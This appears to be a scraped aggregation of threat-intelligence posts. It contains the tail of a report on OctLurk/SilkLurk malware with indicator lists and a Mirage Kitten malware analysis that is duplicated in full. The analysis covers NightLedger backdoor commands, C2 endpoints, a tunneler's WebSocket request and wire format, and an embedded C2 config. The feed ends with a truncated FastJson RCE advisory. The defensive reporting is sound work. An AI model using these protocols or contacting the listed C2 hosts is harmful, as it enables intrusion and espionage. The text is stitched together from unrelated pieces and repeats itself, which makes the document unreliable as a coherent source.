C:\Windows\system32\svchost.exe -k ExAstSrc -s ExAstSrc to deploy OctLurk. They used OctLurk to obtain a command shell and were observed dropping the SilkLurk loader vulkan-1.dll (MD5 be4731c09734da2e8eb6814a9c82f266) via this shell, as shown below.C:\ProgramData\intel\ to drop both the OctLurk and SilkLurk loader DLLs.| OctLurk | C:\ProgramData\intel\mscastrac.dll (MD5 7c2f64461bb519c6cbf1fc687675514c) C:\ProgramData\intel\msbasesysdc.dll (MD5 f4578e869a735cfad691f927bae3e638) |
| SilkLurk | C:\ProgramData\intel\vulkan-1.dll (MD5 2f18472866f38c1e1c2c5c14b9a6ab56) |
In one incident, the attacker used SilkLurk to obtain a command shell (cmd.exe) and then deployed and executed the PlugX malware. The PlugX sample was configured to contact gycudore[.]kozow[.]com as its command‑and‑control (C2) server, while the SilkLurk backdoor used ctyuhjerf[.]kozow[.]com for C2. PlugX is a well‑known modular remote‑access Trojan (RAT) that has been active since at least 2008 and historically linked to Chinese-speaking threat actors. This suggests that both OctLurk and SilkLurk were also developed and operated by a Chinese‑speaking actor, although at this time, we cannot attribute this activity to a known threat group.
The emergence of the OctLurk and SilkLurk multi‑plugin malware framework highlights how threat actors continuously refine their tactics to evade detection and maintain control over compromised networks. Both families operate primarily in memory, leaving only a minimalistic loader on disk that relies on machine‑specific data (OctLurk uses the drive serial number, and SilkLurk uses the computer name) to decode payload locations and contents. This victim‑specific encoding makes reverse engineering and automated detection considerably harder.
In addition to sophisticated obfuscation, the attackers establish redundant access channels, harvest credentials, and deploy well‑known remote access and monitoring tools. These secondary pathways ensure persistence even if the original infection vector is discovered or neutralized.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
dns[.]multitoconference[.]com
tj[.]tajikistandip[.]com
fm01[.]clouddevicemetrics[.]com
confbase[.]mdpsupport[.]net
digital[.]leroymerling[.]com
api2[.]annoyingremote[.]com
about[.]blsouqs[.]com
ssl[.]blsouqs[.]com
45[.]138[.]157[.]165
dns[.]ssentialserv[.]xyz
154[.]196[.]162[.]76
tyhbgtyuj[.]gleeze[.]com
95[.]179[.]210[.]138
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
rgnojb[.]casacam[.]net
95[.]179[.]141[.]26
ctyuhjerf[.]kozow[.]com
45[.]32[.]152[.]50
212[.]11[.]39[.]138
195[.]86[.]120[.]2
uyhvfredc[.]accesscam[.]org
154[.]196[.]187[.]73
45[.]61[.]149[.]112
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
gycudore[.]kozow[.]com
64[.]7[.]198[.]130
082d49ef9f14e6811d68c7e0e82e5069 oleasapi.dll
f4578e869a735cfad691f927bae3e638 msbasesysdc.dll
7c2f64461bb519c6cbf1fc687675514c mscastrac.dll
8269d6ba1b6842f9152c90cf7add9b93 vulkan-1.dll
3c9a1ba8e0c7475706adc6376e9d7b7c kmsonline.exe
ef59aad625eebda8650aec5820d6ce69 RasTls.dll
a0cc7accc79abb0287aaba825d0351f0
a56cce62930a6bee80d679b4c495a340
1415a78b75de7db4ba3d1e61d7db4501
a4d550a3ba0cd073fe3839b99d98a7a8
32a5985543433a4f60da2fafd873b927 Adobe.exe
2a571f6cee42a17d873f4c942649813f AnyDesk.exe
37dc84e4bcad92fa28f1e7778d088283 x64.exe
cf903e4a1629aa0582fd0363b5786676 fc.exe
6ecf84fb18f6747ed08d7598364d853a 1.bat
b874123a80fc4f40e06872b9cb54ebc6 auto.bat
45cf5916fab4272a1313c26e67aa9220 in.bat
4e6d5c4770d5a822d7fcce6a74f7ad73 in.bat
5e26df131ff0a679a0a2699b723b46e3 1.bat
18dc8bff47cc282508354771d0c8cf8c RecordedTV.exe, recordutil.exe
9a1dd1d96481d61934dcc2d568971d06 7z.exe
C:\Users\[username]\Videos\1.bat
C:\Windows\System32\oleasapi.dll
C:\Windows\Media\Welcome01.wav
C:\windows\temp\in.bat
C:\Users\[username]\1.bat
C:\ProgramData\1.bat
C:\Windows\System32\msbasesysdc.dll
C:\Windows\System32\Waavsstrace.dll
C:\Windows\System32\SystemSettings.Publishing.dll
C:\Windows\System32\msdctries.dll
C:\Users\Public\Pictures\AnyDesk.exe
C:\Users\Public\Libraries\msect\dev0
C:\Users\Public\Libraries\msect\dev1
C:\users\[username]\libraries\64.exe
C:\ProgramData\Ehorus\
%TEMP%\fc.exe
C:\programdata\microsoft\network\connections\nvgwls.exe
C:\ProgramData\Veeam\EndpointData\nvgwls.exe
c:\ProgramData\microsoft\network\connections\vulkan-1.dll
C:\ProgramData\microsoft\network\downloader\vulkan-1.dll
C:\ProgramData\intel\vulkan-1.dll
C:\Users\Public\Music\vulkan-1.dll
C:\ProgramData\HP\NCCOM\vulkan-1.dll
C:\ProgramData\intel\gcc\vulkan-1.dll
C:\Windows\System32\0409\vulkan-1.dll
C:\ProgramData\veeam\endpointdata\vulkan-1.dll
C:\ProgramData\plug\vulkan-1.dll
C:\Program Files\nvidia corporation\display.nvcontainer\plugins\vulkan-1.dll
C:\ProgramData\microsoft onedrive\setup\vulkan-1.dll
C:\vmware\vmware tools\vmware vgauth\schemas\vulkan-1.dll
C:\ProgramData\nvidia\ngx\vulkan-1.dll
C:\ProgramData\microsoft\microsoft\vulkan-1.dll
C:\ProgramData\usoprivate\updatestore\vulkan-1.dll
C:\ProgramData\Microsoft OneDrive\setup\OneDrive.dat
C:\ProgramData\NVIDIA\DisplayDriverContainer1.log
C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ETL.log
C:\ProgramData\NVIDI\NGX\ngx.dat
C:\ProgramData\Intel\GCC\2024.log
C:\ProgramData\veem\pyshellext.amd64.log
C:\ProgramData\Microsoft\RtkNGUI\RtkNGUI64.exe
C:\ProgramData\microsoft\rtkngui\RtkNGUI64Loc.dll
C:\ProgramData\realtek\audio\RtkNGUI64Loc.dll
C:\realtek\audio\RtkNGUI64Loc.dll
C:\ProgramData\USOPrivate\UpdateStore\Store.dat
C:\ProgramData\Microsoft\Crypto\Keys\Store.key
C:\DrvPath\Network\Lan\Realtek\NetSetSvc.exe
C:\drvpath\network\lan\realtek\nvml.dll
C:\microsoft\network\connections\nvml.dll
C:\ProgramData\microsoft\network\connections\nvml.dll
C:\Windows\System32\0419\nvml.dll
C:\veeam\nvml.dll
C:\microsoft\network\nvml.dll
C:\ProgramData\hp\nvml.dll
C:\usoprivate\updatestore\nvml.dll
c:\nvidia corporation\display.nvcontainer\plugins\nvml.dll
C:\Users\Public\Pictures\image.png
C:\Users\Public\Documents\My Pictures\image.png
C:\ProgramData\Realtek\Audio\RtkSmbus.exe
C:\ProgramData\realtek\audio\RtkSmbusLoc.dll
C:\rtksmbusact\RtkSmbusLoc.dll
C:\ProgramData\rtksmbusact\RtkSmbusLoc.dll
C:\realtek\audio\RtkSmbusLoc.dll
C:\ProgramData\microsoft\html help\kmsonline.exe
C:\ProgramData\Symantec\RasTls.exe
C:\ProgramData\Symantec\RasTls.dll
C:\ProgramData\Symantec\RasTls.dll.res
C:\Users\[username]\Libraries\RecordedTV.exe
C:\Users\[username]\Libraries\recordutil.exe
C:\windows\vss\7z.exe
Unit 42 details a Chinese speaking threat actor combining autonomous AI scanning across seven vulnerabilities with manual exploitation. Read more.
The post Chinese-Speaking Threat Actor Harnesses AI Models for Autonomous Cyberattacks appeared first on Unit 42.
Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.
During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.
Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.
NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.
When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.
NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.
When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.
NightLedger supports the following commands:
| Command ID | Description |
| 1 | Gather user and host identity information |
| 3 | Execute a process/program |
| 17 | List directories |
| 20 | Download a file to the infected system |
| 25 | Gather host and network information |
| 27 | Copy a file |
| 30 | Update beacon interval |
| 36 | Take a screenshot |
| 43 | Load a DLL |
| 56 | Kill a process |
| 62 | Delete a file |
| 69 | Terminate thread |
| 70 | Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj |
| 75 | Enumerate logical drives |
| 90 | List processes |
| 93 | Collect C:\Windows\debug\NetSetup.log together with process-list output. NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations. |
Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.
During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.
If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:
GET /connect HTTP/1.1 Host: smartconnect.azurewebsites.net Upgrade: websocket Connection: Upgrade User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38
The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.
The malware’s next action depends on the HTTP response returned by the server:
| HTTP response | Description |
| 407 (Proxy Auth Required) | Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times. |
| 101 (Switching Protocols) | Success. Proceeds to WebSocket upgrade and authentication. |
| Other | Connection failed. Closes all handles, enters backoff. |
This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.
Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.
All tunnel communication uses a fixed binary wire format:
| Offset | Size | Field | Encoding |
| 0 | 1 | type | Message type (1–9) |
| 1 | 4 | connId | Tunnel connection identifier |
| 5 | 1 | flags | Status or error indicator |
| 6 | 2 | dataLen | Payload length |
| 8 | var | payload | Message data |
Every message is at least 8 bytes. Seven message types are actively used:
| Type | Name | Direction | Description |
| 1 | CONNECT | Server -> Client | Open a new TCP tunnel to a SOCKS5 target address |
| 2 | CONNECT_RESPONSE | Client -> Server | Confirm the connection was established |
| 3 | DATA | Bidirectional | Relay TCP traffic through the tunnel |
| 4 | DISCONNECT | Bidirectional | Close a tunnel connection |
| 5 | PING | Bidirectional | Keepalive probe, sent every 30 seconds by timer |
| 6 | PONG | Bidirectional | Keepalive reply |
| 9 | FLOWCTRL | Bidirectional | Throttle data flow to prevent buffer overrun |
The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:
| Type byte | Description |
| 0x01 | IPv4 address (4 bytes) |
| 0x03 | Domain name (1-byte length + string) |
| 0x04 | IPv6 address (16 bytes) |
Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.
ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:
"<<STARTXX>>" "aecert.org" 443 5000 0 "4B8CC395-A26F-41F1-A1DC-8B993D9D41D2" "<<ENDXX>>"
After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:
| Command | Description |
| OPEN: | Creates a proxy/tunnel session to a target selected by the operator. |
| DNS: | Performs hostname or address resolution and returns the result. |
According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.
Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.
Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll
ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498
BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll
smartconnect[.]azurewebsites[.]net
businessmixture[.]com
global-reds[.]com
maadinglobal[.]com
Business-deegital[.]com
business-deegital[.]azurewebsites[.]net
businessdeegital[.]azurewebsites[.]net
neexportfolio[.]azurewebsites[.]net
neexportfolio[.]com
neexportfolio[.]eastus[.]cloudapp[.]azure[.]com
172[.]86[.]98[.]113
aecert[.]org
realhealthshop[.]com
tjconsultingservices[.]com
thehealth-life[.]com
buisness-centeral-transportation[.]com
healthcarezoom-centeral[.]azurewebsites[.]net
healthcarezoomcenteral[.]azurewebsites[.]net
healthcarezoomcenteral[.]org
toadreport[.]azurewebsites[.]net
business-startup[.]azurewebsites[.]net
businessstartup[.]azurewebsites[.]net
Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.
During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.
Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.
NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.
When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.
NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.
When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.
NightLedger supports the following commands:
| Command ID | Description |
| 1 | Gather user and host identity information |
| 3 | Execute a process/program |
| 17 | List directories |
| 20 | Download a file to the infected system |
| 25 | Gather host and network information |
| 27 | Copy a file |
| 30 | Update beacon interval |
| 36 | Take a screenshot |
| 43 | Load a DLL |
| 56 | Kill a process |
| 62 | Delete a file |
| 69 | Terminate thread |
| 70 | Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj |
| 75 | Enumerate logical drives |
| 90 | List processes |
| 93 | Collect C:\Windows\debug\NetSetup.log together with process-list output. NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations. |
Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.
During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.
If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:
GET /connect HTTP/1.1 Host: smartconnect.azurewebsites.net Upgrade: websocket Connection: Upgrade User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38
The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.
The malware’s next action depends on the HTTP response returned by the server:
| HTTP response | Description |
| 407 (Proxy Auth Required) | Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times. |
| 101 (Switching Protocols) | Success. Proceeds to WebSocket upgrade and authentication. |
| Other | Connection failed. Closes all handles, enters backoff. |
This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.
Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.
All tunnel communication uses a fixed binary wire format:
| Offset | Size | Field | Encoding |
| 0 | 1 | type | Message type (1–9) |
| 1 | 4 | connId | Tunnel connection identifier |
| 5 | 1 | flags | Status or error indicator |
| 6 | 2 | dataLen | Payload length |
| 8 | var | payload | Message data |
Every message is at least 8 bytes. Seven message types are actively used:
| Type | Name | Direction | Description |
| 1 | CONNECT | Server -> Client | Open a new TCP tunnel to a SOCKS5 target address |
| 2 | CONNECT_RESPONSE | Client -> Server | Confirm the connection was established |
| 3 | DATA | Bidirectional | Relay TCP traffic through the tunnel |
| 4 | DISCONNECT | Bidirectional | Close a tunnel connection |
| 5 | PING | Bidirectional | Keepalive probe, sent every 30 seconds by timer |
| 6 | PONG | Bidirectional | Keepalive reply |
| 9 | FLOWCTRL | Bidirectional | Throttle data flow to prevent buffer overrun |
The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:
| Type byte | Description |
| 0x01 | IPv4 address (4 bytes) |
| 0x03 | Domain name (1-byte length + string) |
| 0x04 | IPv6 address (16 bytes) |
Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.
ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:
"<<STARTXX>>" "aecert.org" 443 5000 0 "4B8CC395-A26F-41F1-A1DC-8B993D9D41D2" "<<ENDXX>>"
After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:
| Command | Description |
| OPEN: | Creates a proxy/tunnel session to a target selected by the operator. |
| DNS: | Performs hostname or address resolution and returns the result. |
According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.
Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.
Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll
ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498
BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll
smartconnect[.]azurewebsites[.]net
businessmixture[.]com
global-reds[.]com
maadinglobal[.]com
Business-deegital[.]com
business-deegital[.]azurewebsites[.]net
businessdeegital[.]azurewebsites[.]net
neexportfolio[.]azurewebsites[.]net
neexportfolio[.]com
neexportfolio[.]eastus[.]cloudapp[.]azure[.]com
172[.]86[.]98[.]113
aecert[.]org
realhealthshop[.]com
tjconsultingservices[.]com
thehealth-life[.]com
buisness-centeral-transportation[.]com
healthcarezoom-centeral[.]azurewebsites[.]net
healthcarezoomcenteral[.]azurewebsites[.]net
healthcarezoomcenteral[.]org
toadreport[.]azurewebsites[.]net
business-startup[.]azurewebsites[.]net
businessstartup[.]azurewebsites[.]net
TL;DR: A critical remote code execution vulnerability has been disclosed in FastJson, a widely used JSON processing library for Java. The vulnerability, assigned CVE-2026-16723 with a CVSS score of 9.0 (Critical), affects FastJson versions 1.2.68 through 1.2.83 under specific Spring Boot deployment conditions and can be exploited using malicious JSON without authentication, enabling AutoType, or relying on third-party gadget classes.
Imperva customers are protected against exploitation attempts associated with this vulnerability. Organizations using FastJson 1.x should enable SafeMode immediately and prioritize migration to FastJson 2.x.
On July 21, 2026, the FastJson maintainers published a security advisory for a critical remote code execution vulnerability discovered by FearsOff Cybersecurity. FastJson is an open-source Java library originally developed by Alibaba for serializing Java objects into JSON and deserializing JSON into Java objects.
The vulnerability affects FastJson versions 1.2.68 through 1.2.83, including 1.2.83, the final release in the FastJson 1.x branch. It’s been assigned CVE-2026-16723, with a CVSS score of 9.0, or Critical. According to the official FastJson advisory, exploitation has been verified in Spring Boot applications deployed as executable fat JARs across Spring Boot 2.x, 3.x, and 4.x and JDK versions 8, 11, 17, and 21.
The issue is particularly dangerous because it is exploitable under FastJson’s default configuration. AutoType does not need to be enabled, and attackers do not need a suitable third-party gadget class to be present in the application’s classpath. Applications are potentially exposed when they process attacker-controlled JSON using common methods including JSON.parse, JSON.parseObject(String), and JSON.parseObject(String, Class).
Specifying a target class during deserialization does not fully mitigate the vulnerability. An attacker may still be able to place a malicious payload inside a field typed as an Object or Map.
FastJson supports polymorphic deserialization through the @type field, which identifies the Java class that should be instantiated from supplied JSON. Although FastJson 1.x disables AutoType by default and applies checks intended to prevent untrusted classes from being instantiated, the newly disclosed vulnerability exposes an alternate path through its internal type-resolution logic.
An attacker can submit specially crafted JSON containing a malicious @type value. During processing, FastJson may perform resource lookups based on the attacker-controlled class name. In affected Spring Boot fat-JAR deployments, an attacker can manipulate this behavior using nested JAR URLs, bypass FastJson’s normal type restrictions, and reach a code-execution path without supplying a conventional deserialization gadget.
This bypass is possible because FastJson 1.x can treat the presence of a @JSONType annotation as a trust signal during type resolution. The attacker-controlled resource lookup and annotation-based trust behavior combine to circumvent the protections normally associated with disabling AutoType.
Successful exploitation can allow an unauthenticated remote attacker to execute arbitrary code with the privileges of the affected Java application. This could lead to data theft, malware or webshell deployment, credential compromise, lateral movement, or complete takeover of the underlying server. Public proof-of-concept information is available, substantially increasing the likelihood of rapid exploitation.
FastJson 2.x is not affected. Its type-resolution architecture does not perform equivalent resource probing on user-controlled class names, does not use @JSONType as a trust signal, and uses an allowlist-first model for polymorphic type handling.
So far, attacks exploiting this vulnerability are targeting a wide range of organizations, across Financial Services, Healthcare, Computing, Retail, Business, and other industries.
Attacks are currently almost entirely targeting US-based organizations, with a few attacks in Singapore and Canada, although this will likely continue to expand globally.
Most attacks are coming from browser impersonators, although tools written in Ruby and Go account for about 30% of all attacks collectively.
Imperva customers are protected against exploitation attempts associated with CVE-2026-16723. Imperva Cloud WAF and WAF Gateway inspect incoming HTTP requests and identify malicious JSON payloads, suspicious @type values, nested JAR URL patterns, and remote code execution techniques before they reach vulnerable applications.
Organizations should not rely on perimeter protection as a substitute for remediation. FastJson 1.x is no longer actively maintained, and no patched 1.x version has been released for this vulnerability. Organizations using an affected release should take the following actions:
